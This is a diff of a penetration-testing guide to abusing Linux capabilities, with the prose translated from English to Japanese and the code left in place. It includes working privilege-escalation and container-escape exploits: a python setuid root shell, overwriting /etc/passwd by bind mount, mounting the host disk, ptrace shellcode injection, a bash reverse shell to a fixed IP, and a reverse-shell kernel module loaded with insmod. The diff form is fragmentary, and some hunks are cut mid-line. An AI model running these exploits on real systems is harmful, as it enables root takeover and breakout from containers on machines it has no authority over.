+バイナリは、実行中に使用できる能力を持つことがあります。例えば、`ping`バイナリが`cap_net_raw`能力を持っているのは非常に一般的です: ```bash getcap /usr/bin/ping /usr/bin/ping = cap_net_raw+ep ``` - -You can **search binaries with capabilities** using: - +バイナリを**能力で検索する**には、次のコマンドを使用します: ```bash getcap -r / 2>/dev/null ``` +### capshを使った能力の削除 -### Dropping capabilities with capsh - -If we drop the CAP*NET_RAW capabilities for \_ping*, then the ping utility should no longer work. - +CAP*NET_RAWの能力を\_ping*から削除すると、pingユーティリティはもはや機能しなくなるはずです。 ```bash capsh --drop=cap_net_raw --print -- -c "tcpdump" ``` +_capsh_自体の出力に加えて、_tcpdump_コマンド自体もエラーを引き起こすべきです。 -Besides the output of _capsh_ itself, the _tcpdump_ command itself should also raise an error. +> /bin/bash: /usr/sbin/tcpdump: 操作は許可されていません -> /bin/bash: /usr/sbin/tcpdump: Operation not permitted +このエラーは、pingコマンドがICMPソケットを開くことが許可されていないことを明確に示しています。これで、これが期待通りに機能することが確実になりました。 -The error clearly shows that the ping command is not allowed to open an ICMP socket. Now we know for sure that this works as expected. - -### Remove Capabilities - -You can remove capabilities of a binary with +### 能力の削除 +バイナリの能力を削除することができます。 ```bash setcap -r ``` +## ユーザーの能力 -## User Capabilities - -Apparently **it's possible to assign capabilities also to users**. This probably means that every process executed by the user will be able to use the users capabilities.\ -Base on on [this](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [this ](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html)and [this ](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user)a few files new to be configured to give a user certain capabilities but the one assigning the capabilities to each user will be `/etc/security/capability.conf`.\ -File example: - +明らかに**能力をユーザーにも割り当てることが可能です**。これはおそらく、ユーザーによって実行されるすべてのプロセスがそのユーザーの能力を使用できることを意味します。\ +[これ](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7)、[これ](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html)、および[これ](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user)に基づいて、ユーザーに特定の能力を与えるためにいくつかのファイルを新たに構成する必要がありますが、各ユーザーに能力を割り当てるファイルは`/etc/security/capability.conf`です。\ +ファイルの例: ```bash # Simple cap_sys_ptrace developer @@ -201,24 +173,22 @@ cap_net_admin,cap_net_raw jrnetadmin # Combining names and numerics cap_sys_admin,22,25 jrsysadmin ``` +## 環境の能力 -## Environment Capabilities - -Compiling the following program it's possible to **spawn a bash shell inside an environment that provides capabilities**. - +次のプログラムをコンパイルすることで、**能力を提供する環境内でbashシェルを生成することが可能です**。 ```c:ambient.c /* - * Test program for the ambient capabilities - * - * compile using: - * gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c - * Set effective, inherited and permitted capabilities to the compiled binary - * sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient - * - * To get a shell with additional caps that can be inherited do: - * - * ./ambient /bin/bash - */ +* Test program for the ambient capabilities +* +* compile using: +* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c +* Set effective, inherited and permitted capabilities to the compiled binary +* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient +* +* To get a shell with additional caps that can be inherited do: +* +* ./ambient /bin/bash +*/ #include #include @@ -229,70 +199,70 @@ Compiling the following program it's possible to **spawn a bash shell inside an #include static void set_ambient_cap(int cap) { - int rc; - capng_get_caps_process(); - rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap); - if (rc) { - printf("Cannot add inheritable cap\n"); - exit(2); - } - capng_apply(CAPNG_SELECT_CAPS); - /* Note the two 0s at the end. Kernel checks for these */ - if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) { - perror("Cannot set cap"); - exit(1); - } +int rc; +capng_get_caps_process(); +rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap); +if (rc) { +printf("Cannot add inheritable cap\n"); +exit(2); +} +capng_apply(CAPNG_SELECT_CAPS); +/* Note the two 0s at the end. Kernel checks for these */ +if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) { +perror("Cannot set cap"); +exit(1); +} } void usage(const char * me) { - printf("Usage: %s [-c caps] new-program new-args\n", me); - exit(1); +printf("Usage: %s [-c caps] new-program new-args\n", me); +exit(1); } int default_caplist[] = { - CAP_NET_RAW, - CAP_NET_ADMIN, - CAP_SYS_NICE, - -1 +CAP_NET_RAW, +CAP_NET_ADMIN, +CAP_SYS_NICE, +-1 }; int * get_caplist(const char * arg) { - int i = 1; - int * list = NULL; - char * dup = strdup(arg), * tok; - for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) { - list = realloc(list, (i + 1) * sizeof(int)); - if (!list) { - perror("out of memory"); - exit(1); - } - list[i - 1] = atoi(tok); - list[i] = -1; - i++; - } - return list; +int i = 1; +int * list = NULL; +char * dup = strdup(arg), * tok; +for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) { +list = realloc(list, (i + 1) * sizeof(int)); +if (!list) { +perror("out of memory"); +exit(1); +} +list[i - 1] = atoi(tok); +list[i] = -1; +i++; +} +return list; } int main(int argc, char ** argv) { - int rc, i, gotcaps = 0; - int * caplist = NULL; - int index = 1; // argv index for cmd to start - if (argc < 2) - usage(argv[0]); - if (strcmp(argv[1], "-c") == 0) { - if (argc <= 3) { - usage(argv[0]); - } - caplist = get_caplist(argv[2]); - index = 3; - } - if (!caplist) { - caplist = (int * ) default_caplist; - } - for (i = 0; caplist[i] != -1; i++) { - printf("adding %d to ambient list\n", caplist[i]); - set_ambient_cap(caplist[i]); - } - printf("Ambient forking shell\n"); - if (execv(argv[index], argv + index)) - perror("Cannot exec"); - return 0; +int rc, i, gotcaps = 0; +int * caplist = NULL; +int index = 1; // argv index for cmd to start +if (argc < 2) +usage(argv[0]); +if (strcmp(argv[1], "-c") == 0) { +if (argc <= 3) { +usage(argv[0]); +} +caplist = get_caplist(argv[2]); +index = 3; +} +if (!caplist) { +caplist = (int * ) default_caplist; +} +for (i = 0; caplist[i] != -1; i++) { +printf("adding %d to ambient list\n", caplist[i]); +set_ambient_cap(caplist[i]); +} +printf("Ambient forking shell\n"); +if (execv(argv[index], argv + index)) +perror("Cannot exec"); +return 0; } ``` @@ -301,40 +271,34 @@ gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient ./ambient /bin/bash ``` - -Inside the **bash executed by the compiled ambient binary** it's possible to observe the **new capabilities** (a regular user won't have any capability in the "current" section). - +コンパイルされた環境バイナリによって実行された**bash**内では、**新しい能力**を観察することができます(通常のユーザーは「現在」セクションに能力を持っていません)。 ```bash capsh --print Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip ``` - > [!CAUTION] -> You can **only add capabilities that are present** in both the permitted and the inheritable sets. +> あなたは**許可されたセットと継承可能なセットの両方に存在する**能力のみを追加できます。 -### Capability-aware/Capability-dumb binaries +### 能力対応/能力無視バイナリ -The **capability-aware binaries won't use the new capabilities** given by the environment, however the **capability dumb binaries will us**e them as they won't reject them. This makes capability-dumb binaries vulnerable inside a special environment that grant capabilities to binaries. +**能力対応バイナリは、環境によって与えられた新しい能力を使用しません**が、**能力無視バイナリはそれらを使用します**。これは、能力無視バイナリがそれらを拒否しないためです。これにより、特定の環境内でバイナリに能力を付与することができるため、能力無視バイナリは脆弱になります。 -## Service Capabilities - -By default a **service running as root will have assigned all the capabilities**, and in some occasions this may be dangerous.\ -Therefore, a **service configuration** file allows to **specify** the **capabilities** you want it to have, **and** the **user** that should execute the service to avoid running a service with unnecessary privileges: +## サービスの能力 +デフォルトでは、**rootとして実行されるサービスはすべての能力が割り当てられます**が、場合によってはこれが危険な場合があります。\ +したがって、**サービス構成**ファイルでは、**持たせたい能力**と、**サービスを実行すべきユーザー**を**指定**することができ、不要な特権でサービスを実行しないようにします。 ```bash [Service] User=bob AmbientCapabilities=CAP_NET_BIND_SERVICE ``` +## Dockerコンテナの能力 -## Capabilities in Docker Containers - -By default Docker assigns a few capabilities to the containers. It's very easy to check which capabilities are these by running: - +デフォルトでは、Dockerはコンテナにいくつかの能力を割り当てます。これらの能力が何であるかを確認するのは非常に簡単です。次のコマンドを実行します: ```bash docker run --rm -it r.j3ss.co/amicontained bash Capabilities: - BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap +BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap # Add a capabilities docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash @@ -345,21 +309,11 @@ docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash # Remove all and add only one docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash ``` - -​ - -
- -​​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - ## Privesc/Container Escape -Capabilities are useful when you **want to restrict your own processes after performing privileged operations** (e.g. after setting up chroot and binding to a socket). However, they can be exploited by passing them malicious commands or arguments which are then run as root. - -You can force capabilities upon programs using `setcap`, and query these using `getcap`: +Capabilitiesは、**特権操作を実行した後に自分のプロセスを制限したい場合**に便利です(例:chrootを設定し、ソケットにバインドした後)。しかし、悪意のあるコマンドや引数を渡すことで、rootとして実行される可能性があります。 +`setcap`を使用してプログラムに能力を強制し、`getcap`を使用してこれを照会できます: ```bash #Set Capability setcap cap_net_raw+ep /sbin/ping @@ -368,19 +322,15 @@ setcap cap_net_raw+ep /sbin/ping getcap /sbin/ping /sbin/ping = cap_net_raw+ep ``` +`+ep`は、効果的かつ許可された能力を追加していることを意味します(「-」はそれを削除します)。 -The `+ep` means you’re adding the capability (“-” would remove it) as Effective and Permitted. - -To identify programs in a system or folder with capabilities: - +システムまたはフォルダー内の能力を持つプログラムを特定するには: ```bash getcap -r / 2>/dev/null ``` +### エクスプロイトの例 -### Exploitation example - -In the following example the binary `/usr/bin/python2.6` is found vulnerable to privesc: - +次の例では、バイナリ `/usr/bin/python2.6` が特権昇格に対して脆弱であることがわかります: ```bash setcap cap_setuid+ep /usr/bin/python2.7 /usr/bin/python2.7 = cap_setuid+ep @@ -388,46 +338,38 @@ setcap cap_setuid+ep /usr/bin/python2.7 #Exploit /usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");' ``` - -**Capabilities** needed by `tcpdump` to **allow any user to sniff packets**: - +`tcpdump`が**任意のユーザーにパケットをスニッフィングさせるために必要な****Capabilities**: ```bash setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump getcap /usr/sbin/tcpdump /usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip ``` +### "空"の能力の特別なケース -### The special case of "empty" capabilities +[ドキュメントから](https://man7.org/linux/man-pages/man7/capabilities.7.html): プログラムファイルに空の能力セットを割り当てることができるため、実行するプロセスの有効および保存されたセットユーザーIDを0に変更するset-user-ID-rootプログラムを作成することが可能ですが、そのプロセスには能力を付与しません。言い換えれば、次の条件を満たすバイナリがある場合: -[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): Note that one can assign empty capability sets to a program file, and thus it is possible to create a set-user-ID-root program that changes the effective and saved set-user-ID of the process that executes the program to 0, but confers no capabilities to that process. Or, simply put, if you have a binary that: +1. rootによって所有されていない +2. `SUID`/`SGID`ビットが設定されていない +3. 空の能力セットが設定されている(例:`getcap myelf`が`myelf =ep`を返す) -1. is not owned by root -2. has no `SUID`/`SGID` bits set -3. has empty capabilities set (e.g.: `getcap myelf` returns `myelf =ep`) - -then **that binary will run as root**. +その**バイナリはrootとして実行されます**。 ## CAP_SYS_ADMIN -**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** is a highly potent Linux capability, often equated to a near-root level due to its extensive **administrative privileges**, such as mounting devices or manipulating kernel features. While indispensable for containers simulating entire systems, **`CAP_SYS_ADMIN` poses significant security challenges**, especially in containerized environments, due to its potential for privilege escalation and system compromise. Therefore, its usage warrants stringent security assessments and cautious management, with a strong preference for dropping this capability in application-specific containers to adhere to the **principle of least privilege** and minimize the attack surface. - -**Example with binary** +**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)**は非常に強力なLinuxの能力であり、その広範な**管理特権**のためにほぼrootレベルに等しいと見なされます。デバイスのマウントやカーネル機能の操作などに使用されます。全システムをシミュレートするコンテナには不可欠ですが、**`CAP_SYS_ADMIN`は特権昇格やシステムの妥協の可能性があるため、特にコンテナ化された環境では重大なセキュリティ上の課題を引き起こします**。したがって、その使用は厳格なセキュリティ評価と慎重な管理を必要とし、**最小特権の原則**に従い、攻撃面を最小限に抑えるためにアプリケーション固有のコンテナではこの能力を削除することが強く推奨されます。 +**バイナリの例** ```bash getcap -r / 2>/dev/null /usr/bin/python2.7 = cap_sys_admin+ep ``` - -Using python you can mount a modified _passwd_ file on top of the real _passwd_ file: - +Pythonを使用して、実際の_passwd_ファイルの上に修正された_passwd_ファイルをマウントできます: ```bash cp /etc/passwd ./ #Create a copy of the passwd file openssl passwd -1 -salt abc password #Get hash of "password" vim ./passwd #Change roots passwords of the fake passwd file ``` - -And finally **mount** the modified `passwd` file on `/etc/passwd`: - +そして最後に、修正された `passwd` ファイルを `/etc/passwd` に **マウント** します: ```python from ctypes import * libc = CDLL("libc.so.6") @@ -440,32 +382,28 @@ options = b"rw" mountflags = MS_BIND libc.mount(source, target, filesystemtype, mountflags, options) ``` +そして、パスワード「password」を使用して**`su` as root**を実行できます。 -And you will be able to **`su` as root** using password "password". - -**Example with environment (Docker breakout)** - -You can check the enabled capabilities inside the docker container using: +**環境の例(Dockerブレイクアウト)** +Dockerコンテナ内で有効な能力を確認するには、次のコマンドを使用します: ``` capsh --print Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root) ``` +前の出力の中で、SYS_ADMIN権限が有効になっていることがわかります。 -Inside the previous output you can see that the SYS_ADMIN capability is enabled. - -- **Mount** - -This allows the docker container to **mount the host disk and access it freely**: +- **マウント** +これにより、dockerコンテナは**ホストディスクをマウントし、自由にアクセスすることができます**: ```bash fdisk -l #Get disk name Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors @@ -477,12 +415,10 @@ mount /dev/sda /mnt/ #Mount it cd /mnt chroot ./ bash #You have a shell inside the docker hosts disk ``` +- **フルアクセス** -- **Full access** - -In the previous method we managed to access the docker host disk.\ -In case you find that the host is running an **ssh** server, you could **create a user inside the docker host** disk and access it via SSH: - +前の方法では、dockerホストのディスクにアクセスすることができました。\ +ホストが**ssh**サーバーを実行している場合、**dockerホスト**ディスク内にユーザーを**作成**し、SSH経由でアクセスすることができます: ```bash #Like in the example before, the first step is to mount the docker host disk fdisk -l @@ -496,15 +432,13 @@ nc -v -n -w2 -z 172.17.0.1 1-65535 chroot /mnt/ adduser john ssh john@172.17.0.1 -p 2222 ``` - ## CAP_SYS_PTRACE -**This means that you can escape the container by injecting a shellcode inside some process running inside the host.** To access processes running inside the host the container needs to be run at least with **`--pid=host`**. +**これは、ホスト内で実行されているプロセスにシェルコードを注入することでコンテナを脱出できることを意味します。** ホスト内で実行されているプロセスにアクセスするには、コンテナを少なくとも **`--pid=host`** で実行する必要があります。 -**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** grants the ability to use debugging and system call tracing functionalities provided by `ptrace(2)` and cross-memory attach calls like `process_vm_readv(2)` and `process_vm_writev(2)`. Although powerful for diagnostic and monitoring purposes, if `CAP_SYS_PTRACE` is enabled without restrictive measures like a seccomp filter on `ptrace(2)`, it can significantly undermine system security. Specifically, it can be exploited to circumvent other security restrictions, notably those imposed by seccomp, as demonstrated by [proofs of concept (PoC) like this one](https://gist.github.com/thejh/8346f47e359adecd1d53). - -**Example with binary (python)** +**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** は、`ptrace(2)` によって提供されるデバッグおよびシステムコールトレース機能を使用する能力を付与し、`process_vm_readv(2)` や `process_vm_writev(2)` のようなクロスメモリアタッチ呼び出しを可能にします。診断および監視目的には強力ですが、`ptrace(2)` に対する seccomp フィルターのような制限措置なしに `CAP_SYS_PTRACE` が有効にされると、システムのセキュリティが大幅に損なわれる可能性があります。特に、他のセキュリティ制限、特に seccomp によって課せられた制限を回避するために悪用される可能性があり、[このような概念実証 (PoC)](https://gist.github.com/thejh/8346f47e359adecd1d53) によって示されています。 +**バイナリを使用した例 (python)** ```bash getcap -r / 2>/dev/null /usr/bin/python2.7 = cap_sys_ptrace+ep @@ -524,35 +458,35 @@ PTRACE_DETACH = 17 # Structure defined in # https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct class user_regs_struct(ctypes.Structure): - _fields_ = [ - ("r15", ctypes.c_ulonglong), - ("r14", ctypes.c_ulonglong), - ("r13", ctypes.c_ulonglong), - ("r12", ctypes.c_ulonglong), - ("rbp", ctypes.c_ulonglong), - ("rbx", ctypes.c_ulonglong), - ("r11", ctypes.c_ulonglong), - ("r10", ctypes.c_ulonglong), - ("r9", ctypes.c_ulonglong), - ("r8", ctypes.c_ulonglong), - ("rax", ctypes.c_ulonglong), - ("rcx", ctypes.c_ulonglong), - ("rdx", ctypes.c_ulonglong), - ("rsi", ctypes.c_ulonglong), - ("rdi", ctypes.c_ulonglong), - ("orig_rax", ctypes.c_ulonglong), - ("rip", ctypes.c_ulonglong), - ("cs", ctypes.c_ulonglong), - ("eflags", ctypes.c_ulonglong), - ("rsp", ctypes.c_ulonglong), - ("ss", ctypes.c_ulonglong), - ("fs_base", ctypes.c_ulonglong), - ("gs_base", ctypes.c_ulonglong), - ("ds", ctypes.c_ulonglong), - ("es", ctypes.c_ulonglong), - ("fs", ctypes.c_ulonglong), - ("gs", ctypes.c_ulonglong), - ] +_fields_ = [ +("r15", ctypes.c_ulonglong), +("r14", ctypes.c_ulonglong), +("r13", ctypes.c_ulonglong), +("r12", ctypes.c_ulonglong), +("rbp", ctypes.c_ulonglong), +("rbx", ctypes.c_ulonglong), +("r11", ctypes.c_ulonglong), +("r10", ctypes.c_ulonglong), +("r9", ctypes.c_ulonglong), +("r8", ctypes.c_ulonglong), +("rax", ctypes.c_ulonglong), +("rcx", ctypes.c_ulonglong), +("rdx", ctypes.c_ulonglong), +("rsi", ctypes.c_ulonglong), +("rdi", ctypes.c_ulonglong), +("orig_rax", ctypes.c_ulonglong), +("rip", ctypes.c_ulonglong), +("cs", ctypes.c_ulonglong), +("eflags", ctypes.c_ulonglong), +("rsp", ctypes.c_ulonglong), +("ss", ctypes.c_ulonglong), +("fs_base", ctypes.c_ulonglong), +("gs_base", ctypes.c_ulonglong), +("ds", ctypes.c_ulonglong), +("es", ctypes.c_ulonglong), +("fs", ctypes.c_ulonglong), +("gs", ctypes.c_ulonglong), +] libc = ctypes.CDLL("libc.so.6") @@ -576,13 +510,13 @@ shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5 # Inject the shellcode into the running process byte by byte. for i in xrange(0,len(shellcode),4): - # Convert the byte to little endian. - shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16) - shellcode_byte_little_endian=struct.pack("& /dev/tcp/192.168.115.135/5656 0>&1'") ``` - -You won’t be able to see the output of the command executed but it will be executed by that process (so get a rev shell). +コマンドの出力は見ることができませんが、そのプロセスによって実行されます(したがって、revシェルを取得します)。 > [!WARNING] -> If you get the error "No symbol "system" in current context." check the previous example loading a shellcode in a program via gdb. +> "現在のコンテキストに「system」というシンボルがありません。"というエラーが表示された場合は、gdbを介してプログラムにシェルコードをロードする前の例を確認してください。 -**Example with environment (Docker breakout) - Shellcode Injection** - -You can check the enabled capabilities inside the docker container using: +**環境を使用した例(Dockerブレイクアウト) - シェルコードインジェクション** +Dockerコンテナ内で有効な能力を確認するには、次のコマンドを使用します: ```bash capsh --print Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root ``` +プロセスをリストするには、ホストで `ps -eaf` を実行します。 -List **processes** running in the **host** `ps -eaf` - -1. Get the **architecture** `uname -m` -2. Find a **shellcode** for the architecture ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128)) -3. Find a **program** to **inject** the **shellcode** into a process memory ([https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c](https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)) -4. **Modify** the **shellcode** inside the program and **compile** it `gcc inject.c -o inject` -5. **Inject** it and grab your **shell**: `./inject 299; nc 172.17.0.1 5600` +1. アーキテクチャを取得するには `uname -m` を実行します。 +2. アーキテクチャ用のシェルコードを見つけます ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128))。 +3. プロセスメモリにシェルコードを注入するためのプログラムを見つけます ([https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c](https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c))。 +4. プログラム内のシェルコードを修正し、コンパイルします `gcc inject.c -o inject`。 +5. 注入してシェルを取得します: `./inject 299; nc 172.17.0.1 5600`。 ## CAP_SYS_MODULE -**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** empowers a process to **load and unload kernel modules (`init_module(2)`, `finit_module(2)` and `delete_module(2)` system calls)**, offering direct access to the kernel's core operations. This capability presents critical security risks, as it enables privilege escalation and total system compromise by allowing modifications to the kernel, thereby bypassing all Linux security mechanisms, including Linux Security Modules and container isolation. -**This means that you can** **insert/remove kernel modules in/from the kernel of the host machine.** +**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** は、プロセスにカーネルモジュールをロードおよびアンロードする権限を与えます(`init_module(2)`、`finit_module(2)`、および `delete_module(2)` システムコール)、カーネルのコア操作への直接アクセスを提供します。この能力は重大なセキュリティリスクをもたらし、特権昇格やシステム全体の危険にさらす可能性があります。これは、カーネルを変更することを可能にし、Linuxのセキュリティメカニズム、Linux Security Modulesやコンテナの隔離をすべてバイパスします。 +**これは、ホストマシンのカーネルにカーネルモジュールを挿入/削除できることを意味します。** -**Example with binary** - -In the following example the binary **`python`** has this capability. +**バイナリの例** +次の例では、バイナリ **`python`** がこの能力を持っています。 ```bash getcap -r / 2>/dev/null /usr/bin/python2.7 = cap_sys_module+ep ``` - -By default, **`modprobe`** command checks for dependency list and map files in the directory **`/lib/modules/$(uname -r)`**.\ -In order to abuse this, lets create a fake **lib/modules** folder: - +デフォルトでは、**`modprobe`** コマンドはディレクトリ **`/lib/modules/$(uname -r)`** 内の依存関係リストとマップファイルをチェックします。\ +これを悪用するために、偽の **lib/modules** フォルダーを作成しましょう: ```bash mkdir lib/modules -p cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r) ``` - -Then **compile the kernel module you can find 2 examples below and copy** it to this folder: - +次に、**カーネルモジュールをコンパイルし、以下に2つの例を見つけて**このフォルダーにコピーします:** ```bash cp reverse-shell.ko lib/modules/$(uname -r)/ ``` - -Finally, execute the needed python code to load this kernel module: - +最後に、このカーネルモジュールをロードするために必要なPythonコードを実行します: ```python import kmod km = kmod.Kmod() km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/") km.modprobe("reverse-shell") ``` +**例2:バイナリを使用した例** -**Example 2 with binary** - -In the following example the binary **`kmod`** has this capability. - +次の例では、バイナリ **`kmod`** がこの能力を持っています。 ```bash getcap -r / 2>/dev/null /bin/kmod = cap_sys_module+ep ``` +カーネルモジュールを挿入するためにコマンド **`insmod`** を使用することが可能であることを意味します。この特権を悪用して **reverse shell** を取得するために、以下の例に従ってください。 -Which means that it's possible to use the command **`insmod`** to insert a kernel module. Follow the example below to get a **reverse shell** abusing this privilege. - -**Example with environment (Docker breakout)** - -You can check the enabled capabilities inside the docker container using: +**環境の例 (Dockerブレイクアウト)** +Dockerコンテナ内で有効な能力を確認するには、次のコマンドを使用します: ```bash capsh --print Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root) ``` +前の出力の中に、**SYS_MODULE** 権限が有効であることがわかります。 -Inside the previous output you can see that the **SYS_MODULE** capability is enabled. - -**Create** the **kernel module** that is going to execute a reverse shell and the **Makefile** to **compile** it: - +**リバースシェル**を実行する**カーネルモジュール**と、それを**コンパイル**するための**Makefile**を**作成**します: ```c:reverse-shell.c #include #include @@ -779,11 +689,11 @@ static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/ // call_usermodehelper function is used to create user mode processes from kernel space static int __init reverse_shell_init(void) { - return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); +return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); } static void __exit reverse_shell_exit(void) { - printk(KERN_INFO "Exiting\n"); +printk(KERN_INFO "Exiting\n"); } module_init(reverse_shell_init); @@ -794,26 +704,22 @@ module_exit(reverse_shell_exit); obj-m +=reverse-shell.o all: - make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules +make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: - make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean +make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean ``` - > [!WARNING] -> The blank char before each make word in the Makefile **must be a tab, not spaces**! - -Execute `make` to compile it. +> Makefile内の各make単語の前の空白文字は**スペースではなくタブ**でなければなりません! +`make`を実行してコンパイルします。 ``` ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop. sudo apt update sudo apt full-upgrade ``` - -Finally, start `nc` inside a shell and **load the module** from another one and you will capture the shell in the nc process: - +最後に、シェル内で`nc`を起動し、別のシェルから**モジュールをロード**すると、ncプロセス内でシェルをキャプチャできます: ```bash #Shell 1 nc -lvnp 4444 @@ -821,67 +727,57 @@ nc -lvnp 4444 #Shell 2 insmod reverse-shell.ko #Launch the reverse shell ``` +**この技術のコードは、** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) **の「SYS_MODULE Capabilityの悪用」ラボからコピーされました。** -**The code of this technique was copied from the laboratory of "Abusing SYS_MODULE Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) - -Another example of this technique can be found in 